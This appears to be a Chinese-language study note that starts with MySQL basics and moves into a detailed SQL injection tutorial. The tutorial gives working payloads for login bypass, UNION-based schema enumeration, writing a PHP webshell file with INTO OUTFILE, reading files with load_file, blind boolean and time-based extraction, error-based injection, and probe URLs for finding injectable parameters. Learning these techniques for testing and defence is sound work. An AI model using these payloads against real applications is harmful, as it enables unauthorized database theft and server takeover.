MySQL
Mysql bin 各工具作用
-
mysqld:打开关闭Mysql
-
mysql:连接Mysql客户端
-
mysqlimport:导入mysql脚本
-
mysqladmin:MySQL各种命令管理,修改重置MySQL密码
-
mysqldump:MySQL备份工具
-
mysqlcheck:检查,分析,优化,修复表
常用的指令
登录MySQL:mysql -h 主机IP -u 用户名 -p 密码 -P 端口号
查看所有数据库:show databases
选择数据库:use 数据库名
查看所有数据表:show tables
查看数据表结构:desc 数据表名称
查看数据:select 字段名,字段名 from 数据表 where 条件
修改数据:update 数据表 set 字段名 = 值 where 条件
添加数据:insert into 数据表 (字段名,字段名) values (值,值)
删除数据表:drop table 数据表名
删除数据库:drop database 数据库名
导出数据表:select 字段 from 数据表 INTO OUTFILE ‘/tmp/tutorials.txt’;
SQL注入
注入的类型
- 整型注入(无单双引号)
- 字符型注入(有单双引号)
布尔注入(可以用于登录)
select * from user where username = '111' or true -- ' password = 'xxx'
select * from user where username = '111' or !false -- ' password = 'xxx'
select * from user where username = '111' or 1=1 -- ' password = 'xxx'
select * from user where username = '111' or 2>1 -- ' password = 'xxx'
select * from user where username = '111' or 1<2 -- ' password = 'xxx'
联合注入(可以用于查询 例如:id=1)
-
需要获取字段的总数
-
通过group by *
-
通过order by *
-
select * from 数据表 group by 字段总数; select * from test group by 2;
-
select * from 数据表 order by 字段总数; select * from test order by 2
-
获取数据库
-
数据库内置函数 database()、version()、user()
-
通过union 联合表
-
select * from test union select database(),version();
-
获取数据库里面的表
-
爆所有的表:
select * from test union select 1, TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA = database();
-
如果只输出一条记录,则:
-
使用条件使前面SQL查询不到数据,
select * from test where 1=2 union select 1, TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA = database() limit 0,1;
-
查询下一条数据,
select * from test where 1=2 union select 1, TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA = database() limit 1,1;
-
获取数据库里面的表的字段
-
select * from test where 1=2 union select 1,column_name from information_schema.columns where table_name = 'test';
-
查询下一条数据
select * from test where 1=2 union select 1,column_name from information_schema.columns where table_name = 'test' limit 0, 1;
导出数据库别名拿shell
select * from test where 1=2 union select 1, '<?php echo 1 ?>' into outfile 'c:/temp/2.txt';
如果自动屏蔽单引号或者php敏感等字符,则转换为十六进制
select * from test where 1=2 union select 1,0x3c3f706870206563686f2031203f3e into outfile 'c:/temp/3.txt';
读取文件
load_file(“c:/temp/1.txt”);
select * from test where 1=2 union select 1,load_file("c:/temp/2.txt");
十六进制
select * from test union select 1,load_file(0x633a2f74656d702f322e747874);
浏览器锚点
如果进行sql注入的时候使用 # 注释,需要进行URL编码转义,不然浏览器默认进行锚点定位
select * from test where id = '1' union select 1,2 %23 ' asdmaosdijaid
相当于:select * from test where id = '1' union select 1,2 # asdmaosdijaid'
不能进行注释时,如果是字符型注入,需要闭合单双引号,可以构造一个条件
select * from test where id = '1' union select 1, 2 where '1' = '1
布尔型注入
- mid() :截取字符串
- length():字符串长度
- ord():ASCII编码转换
- database():当前数据库
- version():当前数据库版本
- user():当前用户
步骤:
测试demo数据库
1、首先获取数据库名的长度
- select * from test where 1=2 or length(database()) > 3; true
- select * from test where 1=2 or length(database()) > 6; false
- select * from test where 1=2 or length(database()) = 4; true
不断进行碰撞测试出数据库名的长度,得出数据库名长度为4字节
2、利用ASCII编码,循环碰对数据库的名称
开始碰对数据库名第一个字符
-
select * from test where 1=2 or ORD(mid(database(), 1,1)) > 90; true
-
select * from test where 1=2 or ORD(mid(database(), 1,1)) > 100; false
-
select * from test where 1=2 or ORD(mid(database(), 1,1)) = 100; true
得出数据库名第一个字符为 d
开始碰对数据库第二个字符
-
select * from test where 1=2 or ORD(mid(database(), 2,1)) > 200; false
-
select * from test where 1=2 or ORD(mid(database(), 2,1)) > 100; true
-
select * from test where 1=2 or ORD(mid(database(), 2,1)) = 101; true
得出数据库名第一个字符为 e
……..继续碰对
得出数据库名为 demo
3、获取数据表的总数
-
select * from test where 1=2 or (select count(table_name) from information_schema.tables where table_schema = database() ) > 1; true
-
select * from test where 1=2 or (select count(table_name) from information_schema.tables where table_schema = database() ) > 2; false
得出有两张数据表
4、获取第一张数据表名长度
-
select * from test where 1=2 or (select length(table_name) from information_schema.tables where table_schema = database() limit 0,1 ) > 5; false
-
select * from test where 1=2 or (select length(table_name) from information_schema.tables where table_schema = database() limit 0,1 ) > 4; true
-
select * from test where 1=2 or (select length(table_name) from information_schema.tables where table_schema = database() limit 0,1 ) = 5; true
得出第一个数据表名的长度为 5 字节
5、获取第一张数据表名(第二张表只需要改动limit后面的参数)
-
select * from test where 1=2 or (select ord(mid(table_name,1,1)) from information_schema.tables where table_schema = database() limit 0,1 ) > 100; false
-
select * from test where 1=2 or (select ord(mid(table_name,1,1)) from information_schema.tables where table_schema = database() limit 0,1 ) > 99; true
得出第一张数据表名的第一个字符为 d
-
select * from test where 1=2 or (select ord(mid(table_name,2,1)) from information_schema.tables where table_schema = database() limit 0,1 ) > 101; false
-
select * from test where 1=2 or (select ord(mid(table_name,2,1)) from information_schema.tables where table_schema = database() limit 0,1 ) > 100; true
得出第一张数据表名的第一个字符为 e
…继续循环碰对
得出第一张数据表名为 demo2
6、获取第一张表字段的总数
- select * from test where 1=2 or (select count(column_name) from information_schema.columns where table_name = ‘demo2’ ) = 1; true
得出第一张表字段的总数为 1
7、获取第一张表第一个字段的长度
- select * from test where 1=2 or (select length(column_name) from information_schema.columns where table_name = ‘demo2’ limit 0,1 ) = 4; true
得出第一张表字段的长度为 4
8、获取第一张表第一个字段的名称
首先第一个字段名称的第一个字符
- select * from test where 1=2 or (select ord(mid(column_name,1,1)) from information_schema.columns where table_name = ‘demo2’ limit 0,1 ) = 110; true
第一个字段名称的第一个字符为 n
- select * from test where 1=2 or (select ord(mid(column_name,2,1)) from information_schema.columns where table_name = ‘demo2’ limit 0,1 ) = 97; true
第一个字段名称的第二个字符为 a
……..
得出第一个字段名称的第一个字符为 name
9、获取数据表的数据
-
获取数据表第一条数据长度、内容(OS: 跟上面的方法差不多,反正都有字段名称跟数据表名称了)
-
select * from test where 1=2 or (select length(concat(name,’—‘) from demo2 limit 0, 1)) = 7;
-
select * from test where 1=2 or (select length(concat(name,’—‘)) from demo2 where concat(name) = ‘test’ limit 0,1) = 7;
-
偷懒了 – -!
延迟注入
除了获取数据库总数外,其他步骤基本参考布尔型注入
1、首先获取数据库总数
select * from test where id = 1 and sleep(if((select count(schema_name) from information_schema.schemata ) > 6, 0, 3));
2、获取其他数据库名长度(当前数据库)
其他数据库:select * from test where username = 'admin' and sleep(if((select length(schema_name) from information_schema.schemata limit 0,1) > 10, 0, 3));
当前数据库:select * from test where username = 'admin' and sleep(if((select length(schema_name) from information_schema.schemata where schema_name = database() ) > 10, 0, 3));
3、获取其他数据库名称(当前数据库)
4、获取当前数据库表总数
5、获取当前数据库表名的长度
6、获取当前数据库表名
7、获取当前数据库表的字段总数
8、获取当前数据库表的字段长度
9、获取当前数据库表的字段名称
10、获取当前数据库表的数据
BUG报错注入
利用数据库的BUG进行利用,看报错信息 不过报错的信息就是我们想要的信息
- 只要是count(),rand,group by 三个连用就会造成这种报错
- left(rand(),3) == 不一定报错
- floor(rand(0)*2) == 一定报错
- round(x,d) // x指要处理的数,d是指保留几位小数
- concat() //字符串拼接
- select count(*), concat(left(rand(),3),”—-“,(select version())) x from r1 group by x
爆库: select count(1), concat(floor(rand(0)*2),”–“,database()) as xx from t_sys_menu group by xx;
爆表:select count(1), concat(floor(rand(0)*2),"--", (select table_name from information_schema.tables where TABLE_SCHEMA = database() limit 1,1) ) as xx from t_sys_menu group by xx;
SQL函数报错注入
and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
and (updatexml(1,concat(0x7e,(select user()),0x7e),1));
其他参考:blog.csdn.net/Auuuuuuuu/a…
是否存在SQL注入判断
如:127.0.0.1:80/admin/info?id=8
整型注入
- 127.0.0.1:80/admin/info?id=8+1 and 2 > 1
- 127.0.0.1:80/admin/info?id=-8
- 127.0.0.1:80/admin/info?id=’8′
字符串注入
-
127.0.0.1:80/admin/info?id=8′ and ‘1’ = ‘1
-
127.0.0.1:80/admin/info?id=8′ —
-
127.0.0.1:80/admin/info?id=8′ #
首先根据单双引号 、 加减号 、 大小号进行闭合测试,判断是否存在注入,然后判断为字符型注入或整型注入。先根据是否存在报错,然后报错信息提示(可能是多个括号闭合,或者有其他字符闭合等等)等,最后根据经验判断。